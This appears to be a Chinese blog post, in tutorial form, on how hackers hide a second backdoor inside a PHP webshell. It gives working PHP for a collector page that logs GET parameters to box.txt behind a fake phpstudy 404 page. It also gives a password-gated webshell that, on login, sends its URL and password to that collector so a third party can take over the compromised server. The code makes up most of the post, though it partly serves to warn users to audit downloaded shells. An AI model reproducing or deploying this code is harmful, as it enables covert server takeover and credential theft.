• 复现黑客在后门中藏匿后门


    PHP实现在后门中藏匿后门

    在攻击渗透的时候会传入shell后门方便进行远控。其中的后门包括多种类型,大马是功能最全的直接提供了可视化的界面方便攻击者进行提权、扫描、上传等一系列的操作。

    但有很多hacker不讲武德,在写好的大马中藏入自己的后门(网上直接下载的大多都有后门需要排查或通读代码进行修复)。在我们使用这个hacker写的后门进行远控时,也同时会上线或发送信息到他的服务器。

    以下以PHP语言为例简易实现hacker在后门中藏匿后门的过程

    首先是实现将收集到的信息都发到一个箱子里。

    在get请求中携带info参数的信息都会写入box.txt的箱子中

    
    
    if(empty($_GET)){
    
    }else{
        $info = $_GET["info"];
        $file = fopen("box.txt","a+");
        $info.="\r\n";
    
        fwrite($file,$info);
        fclose($file);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    当访问

    http://localhost/phpwebshellB/get.php?info=iseeyou
    
    • 1

    成功收集
    在这里插入图片描述

    但是当访问get.php显示的是一空白页面很奇怪,我们可以藏匿一下让使用我们后门的人认为是地址输入错误跳到了404页面(这里以phpstudy的404页面为例)

    
    
    if(empty($_GET)){
    
    }else{
        $info = $_GET["info"];
        //a-追加
        $file = fopen("box.txt","a+");
        $info.="\r\n";
    
        fwrite($file,$info);
        fclose($file);
    }
    ?>
    
    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
      <meta charset="utf-8">
      <title>404 错误 - phpstudy</title>
      <meta name="keywords" content="">
      <meta name="description" content="">
      <meta name="renderer" content="webkit">
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
      <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
      <meta name="apple-mobile-web-app-status-bar-style" content="black"> 
      <meta name="apple-mobile-web-app-capable" content="yes">
      <meta name="format-detection" content="telephone=no">
      <meta HTTP-EQUIV="pragma" CONTENT="no-cache"> 
      <meta HTTP-EQUIV="Cache-Control" CONTENT="no-store, must-revalidate"> 
      <meta HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT"> 
      <meta HTTP-EQUIV="expires" CONTENT="0">
      <style>
        body{
          font: 16px arial,'Microsoft Yahei','Hiragino Sans GB',sans-serif;
        }
        h1{
          margin: 0;
          color:#3a87ad;
          font-size: 26px;
        }
        .content{
          width: 45%;
          margin: 0 auto;
         
        }
        .content >div{
          margin-top: 50px;
          padding: 20px;
          background: #d9edf7;  
          border-radius: 12px;
        }
        .content dl{
          color: #2d6a88;
          line-height: 40px;
        } 
        .content div div {
          padding-bottom: 20px;
          text-align:center;
        }
      </style>
    </head>
    <body>
      <div class="content">
          <div>
               <h1>404 - Page Not Found 未找到</h1>
            <dl>
              <dt>错误说明:请求的页面不存在</dt>
              <dt>原因1:访问的文档权限不够</dt>
    		  <dd>解决办法:</dd>
              <dd>修改文件权限为755,windos系统修改目录权限为可写可读。</dd>
              <dt>原因2:防火墙的原因</dt>
    		  <dd>解决办法:</dd>
              <dd>先关闭让防火墙通过WWW服务。</dd>
    		  <dt>原因3:站点根目录无默认访问文件</dt>
    		  <dd>解决办法:</dd>
              <dd>在根目录中创建index.html或者创建index.php。</dd>
    		  <dt>原因4:站点配置目录不正确</dt>
    		  <dd>解决办法:</dd>
              <dd>将网站应用程序复制到站点目录中,或者修改站点配置目录指定到应用程序目录中。</dd>
    		  <dt>原因5:站点使用了伪静态</dt>
    		  <dd>解决办法:</dd>
              <dd>将伪静态规则删除,或者重新编写正确的伪静态规则,或关闭伪静态配置。</dd>
            </dl>
            <div>使用手册,视频教程,BUG反馈,官网地址: <a href="https://www.xp.cn"  target="_blank">www.xp.cn</a> </div>
        
          </div>
        </div> 
    </body>
    </html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90

    真实环境有很多不是文件而是各种类型的图片

    在这里插入图片描述

    接下来就是后门

    在这里插入图片描述

    后门的代码如下

    
    
        header("Content-Type:text/html;charset=utf-8");
    
        $password = "hacktp";
    
        if(empty($_POST)){
            echo "
    "; echo ""; echo ""; echo ""
    ; }else{ if($password == $_POST["passwd"]){ echo "

    成功进入后门界面

    "
    ; $info = $_SERVER['HTTP_REFERER']."?passwd=".$password; // var_dump($_SERVER); $url = 'http://localhost/phpwebshellB/get.php?info='.$info; file_get_contents($url); } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    在输入密码连接到后门后会进入如下页面(正常会有很多的功能)

    在这里插入图片描述

    这时已经发送了携带info信息的get请求到箱子中,这时hacker就可以使用箱子中的地址和密码连接到后门接替我们对服务器进行控制。

    在这里插入图片描述

  • 相关阅读:
    Oracle RAC移动本地数据文件到ASM中
    关于Spring Bean的一些总结
    智慧水利水务数字孪生应用,典型业务场景分享
    Maven配置单仓库与多仓库(Nexus)
    售价9999元起,华为Mate Xs2折叠屏手机发布;马斯克回应要买下可口可乐;AI文学中男主比女主多四倍|极客头条
    java程序设计项目案例化教程题库及答案
    redis set zset key 常用命令
    以太坊之使用truflle和infura部署以太坊合约|猿创征文
    23考研倒计时!这些证件照的上传要求你必须知道,填错就会被打回!
    RPA的优势和劣势是什么,RPA能力边界在哪里?
  • 原文地址:https://blog.csdn.net/qq_18980147/article/details/128106929